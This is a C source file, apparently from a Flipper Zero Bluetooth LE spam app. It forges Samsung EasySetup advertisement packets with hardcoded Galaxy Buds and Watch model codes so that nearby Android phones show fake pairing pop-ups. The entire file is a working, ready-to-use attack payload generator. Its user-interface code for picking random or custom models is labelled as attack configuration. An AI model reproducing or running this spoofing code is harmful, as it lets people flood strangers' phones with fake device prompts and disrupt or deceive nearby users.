easysetup.c 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502
  1. #include "easysetup.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Research by @Spooks4576
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } buds_models[] = {
  9. {0xEE7A0C, "Fallback Buds"},
  10. {0x9D1700, "Fallback Dots"},
  11. {0x39EA48, "Light Purple Buds2"},
  12. {0xA7C62C, "Bluish Silver Buds2"},
  13. {0x850116, "Black Buds Live"},
  14. {0x3D8F41, "Gray & Black Buds2"},
  15. {0x3B6D02, "Bluish Chrome Buds2"},
  16. {0xAE063C, "Gray Beige Buds2"},
  17. {0xB8B905, "Pure White Buds"},
  18. {0xEAAA17, "Pure White Buds2"},
  19. {0xD30704, "Black Buds"},
  20. {0x9DB006, "French Flag Buds"},
  21. {0x101F1A, "Dark Purple Buds Live"},
  22. {0x859608, "Dark Blue Buds"},
  23. {0x8E4503, "Pink Buds"},
  24. {0x2C6740, "White & Black Buds2"},
  25. {0x3F6718, "Bronze Buds Live"},
  26. {0x42C519, "Red Buds Live"},
  27. {0xAE073A, "Black & White Buds2"},
  28. {0x011716, "Sleek Black Buds2"},
  29. };
  30. const uint8_t buds_models_count = COUNT_OF(buds_models);
  31. const struct {
  32. uint8_t value;
  33. const char* name;
  34. } watch_models[] = {
  35. {0x1A, "Fallback Watch"},
  36. {0x01, "White Watch4 Classic 44"},
  37. {0x02, "Black Watch4 Classic 40"},
  38. {0x03, "White Watch4 Classic 40"},
  39. {0x04, "Black Watch4 44mm"},
  40. {0x05, "Silver Watch4 44mm"},
  41. {0x06, "Green Watch4 44mm"},
  42. {0x07, "Black Watch4 40mm"},
  43. {0x08, "White Watch4 40mm"},
  44. {0x09, "Gold Watch4 40mm"},
  45. {0x0A, "French Watch4"},
  46. {0x0B, "French Watch4 Classic"},
  47. {0x0C, "Fox Watch5 44mm"},
  48. {0x11, "Black Watch5 44mm"},
  49. {0x12, "Sapphire Watch5 44mm"},
  50. {0x13, "Purpleish Watch5 40mm"},
  51. {0x14, "Gold Watch5 40mm"},
  52. {0x15, "Black Watch5 Pro 45mm"},
  53. {0x16, "Gray Watch5 Pro 45mm"},
  54. {0x17, "White Watch5 44mm"},
  55. {0x18, "White & Black Watch5"},
  56. {0x1B, "Black Watch6 Pink 40mm"},
  57. {0x1C, "Gold Watch6 Gold 40mm"},
  58. {0x1D, "Silver Watch6 Cyan 44mm"},
  59. {0x1E, "Black Watch6 Classic 43mm"},
  60. {0x20, "Green Watch6 Classic 43mm"},
  61. };
  62. const uint8_t watch_models_count = COUNT_OF(watch_models);
  63. static const char* type_names[EasysetupTypeCOUNT] = {
  64. [EasysetupTypeBuds] = "EasySetup Buds",
  65. [EasysetupTypeWatch] = "EasySetup Watch",
  66. };
  67. static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
  68. const EasysetupCfg* cfg = &_cfg->easysetup;
  69. return type_names[cfg->type];
  70. }
  71. static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
  72. [EasysetupTypeBuds] = 31,
  73. [EasysetupTypeWatch] = 15,
  74. };
  75. void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
  76. const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
  77. EasysetupType type;
  78. if(cfg && cfg->type != 0x00) {
  79. type = cfg->type;
  80. } else {
  81. const EasysetupType types[] = {
  82. EasysetupTypeBuds,
  83. EasysetupTypeWatch,
  84. };
  85. type = types[rand() % COUNT_OF(types)];
  86. }
  87. uint8_t size = packet_sizes[type];
  88. uint8_t* packet = malloc(size);
  89. uint8_t i = 0;
  90. switch(type) {
  91. case EasysetupTypeBuds: {
  92. uint32_t model;
  93. if(cfg && cfg->data.buds.model != 0x000000) {
  94. model = cfg->data.buds.model;
  95. } else {
  96. model = buds_models[rand() % buds_models_count].value;
  97. }
  98. packet[i++] = 27; // Size
  99. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  100. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  101. packet[i++] = 0x00; // ...
  102. packet[i++] = 0x42;
  103. packet[i++] = 0x09;
  104. packet[i++] = 0x81;
  105. packet[i++] = 0x02;
  106. packet[i++] = 0x14;
  107. packet[i++] = 0x15;
  108. packet[i++] = 0x03;
  109. packet[i++] = 0x21;
  110. packet[i++] = 0x01;
  111. packet[i++] = 0x09;
  112. packet[i++] = (model >> 0x10) & 0xFF;
  113. packet[i++] = (model >> 0x08) & 0xFF;
  114. packet[i++] = 0x01;
  115. packet[i++] = (model >> 0x00) & 0xFF;
  116. packet[i++] = 0x06;
  117. packet[i++] = 0x3C;
  118. packet[i++] = 0x94;
  119. packet[i++] = 0x8E;
  120. packet[i++] = 0x00;
  121. packet[i++] = 0x00;
  122. packet[i++] = 0x00;
  123. packet[i++] = 0x00;
  124. packet[i++] = 0xC7;
  125. packet[i++] = 0x00;
  126. packet[i++] = 16; // Size
  127. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  128. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  129. // Truncated AD segment, Android seems to fill in the rest with zeros
  130. break;
  131. }
  132. case EasysetupTypeWatch: {
  133. uint8_t model;
  134. if(cfg && cfg->data.watch.model != 0x00) {
  135. model = cfg->data.watch.model;
  136. } else {
  137. model = watch_models[rand() % watch_models_count].value;
  138. }
  139. packet[i++] = 14; // Size
  140. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  141. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  142. packet[i++] = 0x00; // ...
  143. packet[i++] = 0x01;
  144. packet[i++] = 0x00;
  145. packet[i++] = 0x02;
  146. packet[i++] = 0x00;
  147. packet[i++] = 0x01;
  148. packet[i++] = 0x01;
  149. packet[i++] = 0xFF;
  150. packet[i++] = 0x00;
  151. packet[i++] = 0x00;
  152. packet[i++] = 0x43;
  153. packet[i++] = (model >> 0x00) & 0xFF;
  154. break;
  155. }
  156. default:
  157. break;
  158. }
  159. *out_size = size;
  160. *out_packet = packet;
  161. }
  162. enum {
  163. _ConfigBudsExtraStart = ConfigExtraStart,
  164. ConfigBudsModel,
  165. ConfigBudsInfoVersion,
  166. ConfigBudsCOUNT,
  167. };
  168. enum {
  169. _ConfigWatchExtraStart = ConfigExtraStart,
  170. ConfigWatchModel,
  171. ConfigWatchCOUNT,
  172. };
  173. static void config_callback(void* _ctx, uint32_t index) {
  174. Ctx* ctx = _ctx;
  175. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  176. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  177. switch(cfg->type) {
  178. case EasysetupTypeBuds: {
  179. switch(index) {
  180. case ConfigBudsModel:
  181. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
  182. break;
  183. case ConfigBudsInfoVersion:
  184. break;
  185. default:
  186. ctx->fallback_config_enter(ctx, index);
  187. break;
  188. }
  189. break;
  190. }
  191. case EasysetupTypeWatch: {
  192. switch(index) {
  193. case ConfigWatchModel:
  194. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
  195. break;
  196. default:
  197. ctx->fallback_config_enter(ctx, index);
  198. break;
  199. }
  200. break;
  201. }
  202. default:
  203. ctx->fallback_config_enter(ctx, index);
  204. break;
  205. }
  206. }
  207. static void buds_model_changed(VariableItem* item) {
  208. EasysetupCfg* cfg = variable_item_get_context(item);
  209. uint8_t index = variable_item_get_current_value_index(item);
  210. if(index) {
  211. index--;
  212. cfg->data.buds.model = buds_models[index].value;
  213. variable_item_set_current_value_text(item, buds_models[index].name);
  214. } else {
  215. cfg->data.buds.model = 0x000000;
  216. variable_item_set_current_value_text(item, "Random");
  217. }
  218. }
  219. static void watch_model_changed(VariableItem* item) {
  220. EasysetupCfg* cfg = variable_item_get_context(item);
  221. uint8_t index = variable_item_get_current_value_index(item);
  222. if(index) {
  223. index--;
  224. cfg->data.watch.model = watch_models[index].value;
  225. variable_item_set_current_value_text(item, watch_models[index].name);
  226. } else {
  227. cfg->data.watch.model = 0x00;
  228. variable_item_set_current_value_text(item, "Random");
  229. }
  230. }
  231. static void easysetup_extra_config(Ctx* ctx) {
  232. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  233. VariableItemList* list = ctx->variable_item_list;
  234. VariableItem* item;
  235. size_t value_index;
  236. switch(cfg->type) {
  237. case EasysetupTypeBuds: {
  238. item = variable_item_list_add(
  239. list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
  240. const char* model_name = NULL;
  241. char model_name_buf[9];
  242. if(cfg->data.buds.model == 0x000000) {
  243. model_name = "Random";
  244. value_index = 0;
  245. } else {
  246. for(uint8_t i = 0; i < buds_models_count; i++) {
  247. if(cfg->data.buds.model == buds_models[i].value) {
  248. model_name = buds_models[i].name;
  249. value_index = i + 1;
  250. break;
  251. }
  252. }
  253. if(!model_name) {
  254. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
  255. model_name = model_name_buf;
  256. value_index = buds_models_count + 1;
  257. }
  258. }
  259. variable_item_set_current_value_index(item, value_index);
  260. variable_item_set_current_value_text(item, model_name);
  261. variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
  262. break;
  263. }
  264. case EasysetupTypeWatch: {
  265. item = variable_item_list_add(
  266. list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
  267. const char* model_name = NULL;
  268. char model_name_buf[3];
  269. if(cfg->data.watch.model == 0x00) {
  270. model_name = "Random";
  271. value_index = 0;
  272. } else {
  273. for(uint8_t i = 0; i < watch_models_count; i++) {
  274. if(cfg->data.watch.model == watch_models[i].value) {
  275. model_name = watch_models[i].name;
  276. value_index = i + 1;
  277. break;
  278. }
  279. }
  280. if(!model_name) {
  281. snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
  282. model_name = model_name_buf;
  283. value_index = watch_models_count + 1;
  284. }
  285. }
  286. variable_item_set_current_value_index(item, value_index);
  287. variable_item_set_current_value_text(item, model_name);
  288. break;
  289. }
  290. default:
  291. break;
  292. }
  293. variable_item_list_set_enter_callback(list, config_callback, ctx);
  294. }
  295. static uint8_t config_counts[EasysetupTypeCOUNT] = {
  296. [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
  297. [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
  298. };
  299. static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
  300. const EasysetupCfg* cfg = &_cfg->easysetup;
  301. return config_counts[cfg->type];
  302. }
  303. const Protocol protocol_easysetup = {
  304. .icon = &I_android,
  305. .get_name = easysetup_get_name,
  306. .make_packet = easysetup_make_packet,
  307. .extra_config = easysetup_extra_config,
  308. .config_count = easysetup_config_count,
  309. };
  310. static void buds_model_callback(void* _ctx, uint32_t index) {
  311. Ctx* ctx = _ctx;
  312. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  313. switch(index) {
  314. case 0:
  315. cfg->data.buds.model = 0x000000;
  316. scene_manager_previous_scene(ctx->scene_manager);
  317. break;
  318. case buds_models_count + 1:
  319. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
  320. break;
  321. default:
  322. cfg->data.buds.model = buds_models[index - 1].value;
  323. scene_manager_previous_scene(ctx->scene_manager);
  324. break;
  325. }
  326. }
  327. void scene_easysetup_buds_model_on_enter(void* _ctx) {
  328. Ctx* ctx = _ctx;
  329. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  330. Submenu* submenu = ctx->submenu;
  331. uint32_t selected = 0;
  332. bool found = false;
  333. submenu_reset(submenu);
  334. submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
  335. if(cfg->data.buds.model == 0x000000) {
  336. found = true;
  337. selected = 0;
  338. }
  339. for(uint8_t i = 0; i < buds_models_count; i++) {
  340. submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
  341. if(!found && cfg->data.buds.model == buds_models[i].value) {
  342. found = true;
  343. selected = i + 1;
  344. }
  345. }
  346. submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
  347. if(!found) {
  348. found = true;
  349. selected = buds_models_count + 1;
  350. }
  351. submenu_set_selected_item(submenu, selected);
  352. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  353. }
  354. bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
  355. UNUSED(_ctx);
  356. UNUSED(event);
  357. return false;
  358. }
  359. void scene_easysetup_buds_model_on_exit(void* _ctx) {
  360. UNUSED(_ctx);
  361. }
  362. static void buds_model_custom_callback(void* _ctx) {
  363. Ctx* ctx = _ctx;
  364. scene_manager_previous_scene(ctx->scene_manager);
  365. scene_manager_previous_scene(ctx->scene_manager);
  366. }
  367. void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
  368. Ctx* ctx = _ctx;
  369. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  370. ByteInput* byte_input = ctx->byte_input;
  371. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  372. ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
  373. ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
  374. ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
  375. byte_input_set_result_callback(
  376. byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  377. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  378. }
  379. bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  380. UNUSED(_ctx);
  381. UNUSED(event);
  382. return false;
  383. }
  384. void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
  385. Ctx* ctx = _ctx;
  386. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  387. cfg->data.buds.model =
  388. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  389. }
  390. static void watch_model_callback(void* _ctx, uint32_t index) {
  391. Ctx* ctx = _ctx;
  392. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  393. switch(index) {
  394. case 0:
  395. cfg->data.watch.model = 0x00;
  396. scene_manager_previous_scene(ctx->scene_manager);
  397. break;
  398. case watch_models_count + 1:
  399. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
  400. break;
  401. default:
  402. cfg->data.watch.model = watch_models[index - 1].value;
  403. scene_manager_previous_scene(ctx->scene_manager);
  404. break;
  405. }
  406. }
  407. void scene_easysetup_watch_model_on_enter(void* _ctx) {
  408. Ctx* ctx = _ctx;
  409. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  410. Submenu* submenu = ctx->submenu;
  411. uint32_t selected = 0;
  412. bool found = false;
  413. submenu_reset(submenu);
  414. submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
  415. if(cfg->data.watch.model == 0x00) {
  416. found = true;
  417. selected = 0;
  418. }
  419. for(uint8_t i = 0; i < watch_models_count; i++) {
  420. submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
  421. if(!found && cfg->data.watch.model == watch_models[i].value) {
  422. found = true;
  423. selected = i + 1;
  424. }
  425. }
  426. submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
  427. if(!found) {
  428. found = true;
  429. selected = watch_models_count + 1;
  430. }
  431. submenu_set_selected_item(submenu, selected);
  432. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  433. }
  434. bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
  435. UNUSED(_ctx);
  436. UNUSED(event);
  437. return false;
  438. }
  439. void scene_easysetup_watch_model_on_exit(void* _ctx) {
  440. UNUSED(_ctx);
  441. }
  442. static void watch_model_custom_callback(void* _ctx) {
  443. Ctx* ctx = _ctx;
  444. scene_manager_previous_scene(ctx->scene_manager);
  445. scene_manager_previous_scene(ctx->scene_manager);
  446. }
  447. void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
  448. Ctx* ctx = _ctx;
  449. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  450. ByteInput* byte_input = ctx->byte_input;
  451. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  452. ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
  453. byte_input_set_result_callback(
  454. byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  455. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  456. }
  457. bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  458. UNUSED(_ctx);
  459. UNUSED(event);
  460. return false;
  461. }
  462. void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
  463. Ctx* ctx = _ctx;
  464. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  465. cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
  466. }